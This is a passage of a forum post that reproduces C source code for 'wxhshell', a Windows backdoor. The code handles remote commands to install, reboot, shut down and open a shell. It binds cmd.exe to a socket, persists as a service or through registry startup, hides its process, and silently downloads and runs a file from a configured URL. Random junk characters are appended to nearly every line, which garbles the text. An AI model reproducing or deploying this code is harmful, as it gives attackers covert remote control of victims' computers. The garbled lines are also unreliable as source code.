  // 帮助 kA"|PtrW  
  case '?': { tQ@%3`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qDV t  
    break; @mJ# ~@*(  
  } e2dg{n$6"  
  // 安装 f i_'Ny>#  
  case 'i': { r=J+  
    if(Install()) R/O>^s!Co  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !bq3c(d  
    else Qms,kX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QMz6syn4u  
    break; M SnRx*-  
    } g0Ff$-#7  
  // 卸载 :kU-ol$  
  case 'r': { *6` };ASK  
    if(Uninstall()) BKV,V/*p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (*K=&e0O  
    else ?=dp]E{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MB!_G[R  
    break; n9w(Z=D\  
    } na4^>:r~  
  // 显示 wxhshell 所在路径 u^ 3,~:E  
  case 'p': { eVetG,["  
    char svExeFile[MAX_PATH]; 6z'3e\x  
    strcpy(svExeFile,"\n\r"); SZ&I4-  
      strcat(svExeFile,ExeFile); 7:S4 Ur  
        send(wsh,svExeFile,strlen(svExeFile),0); hHsN(v  
    break; Po1/_# mu  
    } 0XWhSrHM  
  // 重启 mH,L,3R;R  
  case 'b': { m+a\NXWR?N  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l} =@9A@  
    if(Boot(REBOOT)) v\3 \n3[u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,8`CsY^1  
    else { &*nq.l76X`  
    closesocket(wsh); +@"Ls P  
    ExitThread(0); e*!0|#-  
    } 0^m`jD  
    break; Ifu[L&U  
    } L>>RboR}  
  // 关机 Tp[-,3L  
  case 'd': { {@7xOOAw  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /)-OK7x  
    if(Boot(SHUTDOWN)) y(fJ{k   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G(fS__z  
    else { tYk!Y/O}  
    closesocket(wsh); GpZ}xY'|w,  
    ExitThread(0); @4]} J-3  
    } JGRL&MG4  
    break; tZL {;@  
    } nc[Kh8N9  
  // 获取shell xo.k:F  
  case 's': { iRIO~XVo  
    CmdShell(wsh); O}3|UI!`  
    closesocket(wsh); !SPu9:  
    ExitThread(0); =A]*r9  
    break; sd,KB+)  
  } ;xQNa}"V  
  // 退出 >>b <)?3Rv  
  case 'x': { c.eUlr_ {  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2CY4nS KW  
    CloseIt(wsh); |\<L7|hb9  
    break; E rrs6  
    } 8:sQB% BB  
  // 离开 ]/6i#fTw  
  case 'q': {  X? l5}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /_D_W,#P  
    closesocket(wsh); %nV6#pr  
    WSACleanup(); 1$#1  
    exit(1); 8n"L4jb(:  
    break; O\+b1+&b3Y  
        } 53<.Knw5a  
  } *w`_(X f  
  } pdySip<  
)_a;xB` S(  
  // 提示信息 `Iqh\oY8-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !I jU*c@  
} Qv}TUX4  
  } x+8%4]u`  
p~3 (nk<+  
  return; C7=N`s}  
} `Fx+HIng,  
H#/Hs#  
// shell模块句柄 +:kMYL3  
int CmdShell(SOCKET sock) Jq*Q;}n  
{ jYk5]2#A  
STARTUPINFO si; ;wa#m1  
ZeroMemory(&si,sizeof(si)); VD~ %6AjyN  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AaLbJYuKd  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rcAPp  
PROCESS_INFORMATION ProcessInfo; 9U4 D$M  
char cmdline[]="cmd"; g%_ 3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); MS`XhFPS.  
  return 0; 0t(2^*I?>  
} TXS{=  
Sfa;;7W@R  
// 自身启动模式 p|>m 2(|  
int StartFromService(void) odTa 2$O  
{ .G-L/*&%  
typedef struct 1$)}EL   
{ >+9:31p  
  DWORD ExitStatus; sH.,O9'r  
  DWORD PebBaseAddress; G$[Hm\V  
  DWORD AffinityMask; gx.\&W b  
  DWORD BasePriority; -)Hc^'.  
  ULONG UniqueProcessId; {_R{gpj'  
  ULONG InheritedFromUniqueProcessId; Ei4Iv#Oi`  
}   PROCESS_BASIC_INFORMATION; V<ii  
^6QzaC3  
PROCNTQSIP NtQueryInformationProcess; "BZL*hHq  
ENy$sS6[D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~X(2F#{<{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L0;XzZ S  
B8~bx%)3T  
  HANDLE             hProcess; zyB>peAp6j  
  PROCESS_BASIC_INFORMATION pbi; 4YgO1}%G  
rV fZ_\|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {8"Uxj_6V  
  if(NULL == hInst ) return 0; 8[H bg  
3/ '5#$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .sSbU^U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); jbe_r<{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,B#*<_?E5  
K SJ Ko  
  if (!NtQueryInformationProcess) return 0; YQ>O6:%  
H6hhU'Kxf8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); E> N[  
  if(!hProcess) return 0; >mj WC) U  
d*dPi^JjC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7l4}b^>/`  
QIfP%,LT  
  CloseHandle(hProcess); 88VI _<  
/*(&Dmt>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D67z6jep(  
if(hProcess==NULL) return 0; j dkqJ4&i  
%6la@i  
HMODULE hMod; u s8.nL/  
char procName[255]; nG%<n  
unsigned long cbNeeded; )4RSo&9p`  
p2 !w86 F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >*EJ6FPO  
gnadx52FP  
  CloseHandle(hProcess); X!6$<8+1OV  
deEc;IAo  
if(strstr(procName,"services")) return 1; // 以服务启动 b!qlucA eE  
6OR)97  
  return 0; // 注册表启动 akG|ic-~  
} n}C0gt-  
 i (`Q{l  
// 主模块 ^O& y ;5  
int StartWxhshell(LPSTR lpCmdLine) MaLH2?je^n  
{ uANpqT}!  
  SOCKET wsl; TQykXZ2Yb)  
BOOL val=TRUE; '$[a-)4  
  int port=0; n72kJ3u.  
  struct sockaddr_in door; -EE}HUP)  
P('bnDU  
  if(wscfg.ws_autoins) Install(); vDyGxU!#\  
d.Q<!Au3  
port=atoi(lpCmdLine); U ]7;K>.T  
8Vy/n^3)  
if(port<=0) port=wscfg.ws_port; p^w_-( p  
e?N3&ezp  
  WSADATA data; .hjN*4RY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xwj{4fzpk{  
 `)>}b 3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $h[Q }uW  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >-y}t9[/  
  door.sin_family = AF_INET; hW`o-'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _p?s[r*  
  door.sin_port = htons(port); ,BR W=  
4]ko  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 89{`GKWX  
closesocket(wsl); zYM0?O8pJ~  
return 1; e-nwR  
} $RYOj{1  
R[rOzoNp0  
  if(listen(wsl,2) == INVALID_SOCKET) { FH{p1_kZ=  
closesocket(wsl); 'wWuR@e#&  
return 1; hxt;sQAo{  
} q3`~uTzk  
  Wxhshell(wsl); q. j$]?PQ  
  WSACleanup(); C=bQ2t=Z  
 yyGn <  
return 0; Gz4LjMQ &  
7eW6$$ju,N  
} Sbeq%Iwm.  
CdMV(  
// 以NT服务方式启动 x`I"%pG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FD[4?\W]#  
{ 8U n0<+b  
DWORD   status = 0; >DN^',FEm  
  DWORD   specificError = 0xfffffff; 3S1{r )[j  
t#%J=zF{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,t!I%r  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; m}f{o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !3{. V\P)  
  serviceStatus.dwWin32ExitCode     = 0; d$8K,-M  
  serviceStatus.dwServiceSpecificExitCode = 0; 79I"F'  
  serviceStatus.dwCheckPoint       = 0; NErvX/qK  
  serviceStatus.dwWaitHint       = 0; +??pej]Rp  
?O"zp65d(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~S$ex,~  
  if (hServiceStatusHandle==0) return; Ec^2tx"=  
b}*q*Bq  
status = GetLastError(); 5=Y(.}6  
  if (status!=NO_ERROR) ,(]k)ym/  
{ .KtK<Ps[S  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wL}X~Xa3i  
    serviceStatus.dwCheckPoint       = 0; D={$l'y9p  
    serviceStatus.dwWaitHint       = 0; ],vid1E  
    serviceStatus.dwWin32ExitCode     = status; 2`> (LH  
    serviceStatus.dwServiceSpecificExitCode = specificError; w ~^{V4V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); H%Z;Yt8^gt  
    return; -:~z,F  
  } hLVgP&/ E  
,1]VY/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \FF|b"E_=  
  serviceStatus.dwCheckPoint       = 0; ",' Zr<T  
  serviceStatus.dwWaitHint       = 0; V;Q@' <w  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wys$#pJ  
} fAfB.|cd  
rV2>;FG  
// 处理NT服务事件,比如:启动、停止 foB&H;A4oC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 5DO}&%.xt  
{ Vy^mEsQC+h  
switch(fdwControl) @1U6sQ  
{ D |fo:Xp,  
case SERVICE_CONTROL_STOP: Vt-V'`Y  
  serviceStatus.dwWin32ExitCode = 0; eu?P6>urA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d,Oe3?][0p  
  serviceStatus.dwCheckPoint   = 0; ~M1T @Mv  
  serviceStatus.dwWaitHint     = 0; HGi%b5:<=M  
  { t3C#$ >  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n57mh5mixM  
  } B*P;*re  
  return; y<#Hq1  
case SERVICE_CONTROL_PAUSE: ;F"Tu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ga V OMT  
  break; ~}SQLYy7Z  
case SERVICE_CONTROL_CONTINUE: 2/Ye<.#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (cI@#x  
  break; wM#l`I  
case SERVICE_CONTROL_INTERROGATE: c(Fo-4K  
  break; lE!.$L*k  
}; OAEa+V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mc,p]{<<AV  
} b,'rz04^  
db}lN  
// 标准应用程序主函数 &vIj(e9Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >5zD0!bA  
{ 9*Fc+/  
Y&y<WN}Q  
// 获取操作系统版本 t}MT<Jj  
OsIsNt=GetOsVer(); CK_\K,xVT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V343 IT\  
85Kf>z::c  
  // 从命令行安装 XhN?E-WywQ  
  if(strpbrk(lpCmdLine,"iI")) Install(); {7q8@`Oa  
r5+ MjR  
  // 下载执行文件 %o`Cp64`Q  
if(wscfg.ws_downexe) { sDu&9+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +vPCr&40  
  WinExec(wscfg.ws_filenam,SW_HIDE); =#wE*6T9  
} T+FlN-iy)  
;!OME*?m<  
if(!OsIsNt) { V#c=O}  
// 如果时win9x,隐藏进程并且设置为注册表启动 5bsv05=e  
HideProc(); PWyFys  
StartWxhshell(lpCmdLine); +eop4 |Z  
} y+ izC+  
else &ha<pj~  
  if(StartFromService()) T(k:\z/  
  // 以服务方式启动 L Z3=K`gj  
  StartServiceCtrlDispatcher(DispatchTable); ?+$EPaC2  
else Fl"LK:)  
  // 普通方式启动 #vViEBVeN  
  StartWxhshell(lpCmdLine); %WYveY  
$. sTb  
return 0; zOJzQZ~  
}
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只看该作者 1 发表于: 2006-10-10
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